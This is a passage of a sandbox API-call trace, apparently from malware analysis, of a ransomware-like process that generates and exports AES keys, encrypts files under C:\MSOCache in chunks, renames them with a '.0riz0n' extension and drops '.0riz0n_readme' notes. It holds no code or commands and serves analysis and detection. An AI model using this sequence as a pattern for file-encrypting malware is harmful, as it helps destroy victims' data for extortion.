lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0167.833] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0167.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0167.834] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x17) returned 0x1be3cf0 [0167.834] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x7b362010, dwHighDateTime=0x1d59598)) returned 1 [0167.834] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0167.834] NtClose (Handle=0x1c0) returned 0x0 [0167.835] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0167.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0167.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0167.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0167.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0167.835] CryptDestroyKey (hKey=0x829d78) returned 1 [0167.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0167.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0167.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0167.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0167.835] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c)) returned 1 [0167.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0167.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0167.835] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0167.835] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0167.836] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0167.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0167.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0167.836] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c)) returned 1 [0167.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0167.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0167.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0167.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0167.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0167.836] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xff654fc0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c)) returned 1 [0167.836] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0167.836] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0167.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0167.836] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0167.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0167.836] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0167.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0167.837] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0xff654fc0, dwHighDateTime=0x1d301be)) returned 1 [0167.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0167.837] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0167.837] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0167.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0167.837] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0167.837] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0167.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0167.837] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0167.837] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0167.837] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0167.838] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0167.838] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0168.767] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0169.012] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0169.124] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0169.124] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0169.431] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0169.518] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0169.685] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0169.685] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0169.831] FlushFileBuffers (hFile=0x1c0) returned 1 [0169.959] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa00000 [0169.959] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0169.959] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0170.576] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0170.896] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0170.955] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0171.026] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0171.121] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xa00000 [0171.121] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0171.366] FlushFileBuffers (hFile=0x1c0) returned 1 [0171.472] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1400000 [0171.472] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0171.472] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0172.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0172.341] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0172.431] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x3760020) returned 1 [0172.520] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0172.708] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1400000 [0172.708] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0172.909] FlushFileBuffers (hFile=0x1c0) returned 1 [0173.153] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1e00000 [0173.153] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x48df80) returned 0x2d50020 [0173.154] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0x48df5c, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0x48df5c, lpOverlapped=0x0) returned 1 [0173.402] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x48df80) returned 0x31e0020 [0173.493] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0173.513] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x31e0020) returned 1 [0173.535] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x48e380) returned 0x2d50020 [0173.635] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x48df5c, dwBufLen=0x48e35c | out: pbData=0x2d50020*, pdwDataLen=0x1a7faac*=0x48df60) returned 1 [0173.670] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2d50020) returned 1 [0173.727] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=31457280, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1e00000 [0173.728] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0x48df5c, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0x48df5c, lpOverlapped=0x0) returned 1 [0173.787] FlushFileBuffers (hFile=0x1c0) returned 1 [0173.840] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0173.840] NtClose (Handle=0x1c0) returned 0x0 [0173.840] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.0riz0n")) returned 1 [0173.841] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n", dwFileAttributes=0x2020) returned 1 [0173.841] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0173.841] GetLastError () returned 0x2 [0173.841] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x9847e8, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0173.841] GetLastError () returned 0x2 [0173.841] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0173.841] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0173.842] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0173.845] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0173.845] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xb) returned 0xa9d630 [0173.845] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fbc4*(dwLowDateTime=0x7ec83010, dwHighDateTime=0x1d59598)) returned 1 [0173.845] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0173.845] NtClose (Handle=0x1c0) returned 0x0 [0173.845] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0173.845] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0173.845] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0173.846] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0173.910] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0173.910] CryptDestroyKey (hKey=0x829d78) returned 1 [0173.910] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0173.911] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0173.911] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0173.911] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0173.911] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a)) returned 1 [0173.911] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0173.911] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0173.911] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0173.911] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0173.911] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0173.911] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0173.911] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0173.911] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a)) returned 1 [0173.911] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0173.911] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0173.911] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0173.911] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0173.911] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0173.911] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x17c42c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a)) returned 1 [0173.912] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0173.912] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0173.912] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0173.912] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0173.912] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0173.912] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0173.912] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0173.912] GetFileTime (in: hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60*(dwLowDateTime=0x17c42c30, dwHighDateTime=0x1d301bf)) returned 1 [0173.912] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0173.912] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0173.912] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0173.912] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0173.912] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0173.912] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0173.913] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0173.913] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0173.913] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0173.913] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0173.913] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xaec40) returned 0x10f0020 [0173.913] ReadFile (in: hFile=0x1c0, lpBuffer=0x10f0020, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x10f0020*, lpNumberOfBytesRead=0x1a7fab0*=0xaec3a, lpOverlapped=0x0) returned 1 [0173.927] RtlAllocateHeap (HeapHandle=0xa90000, 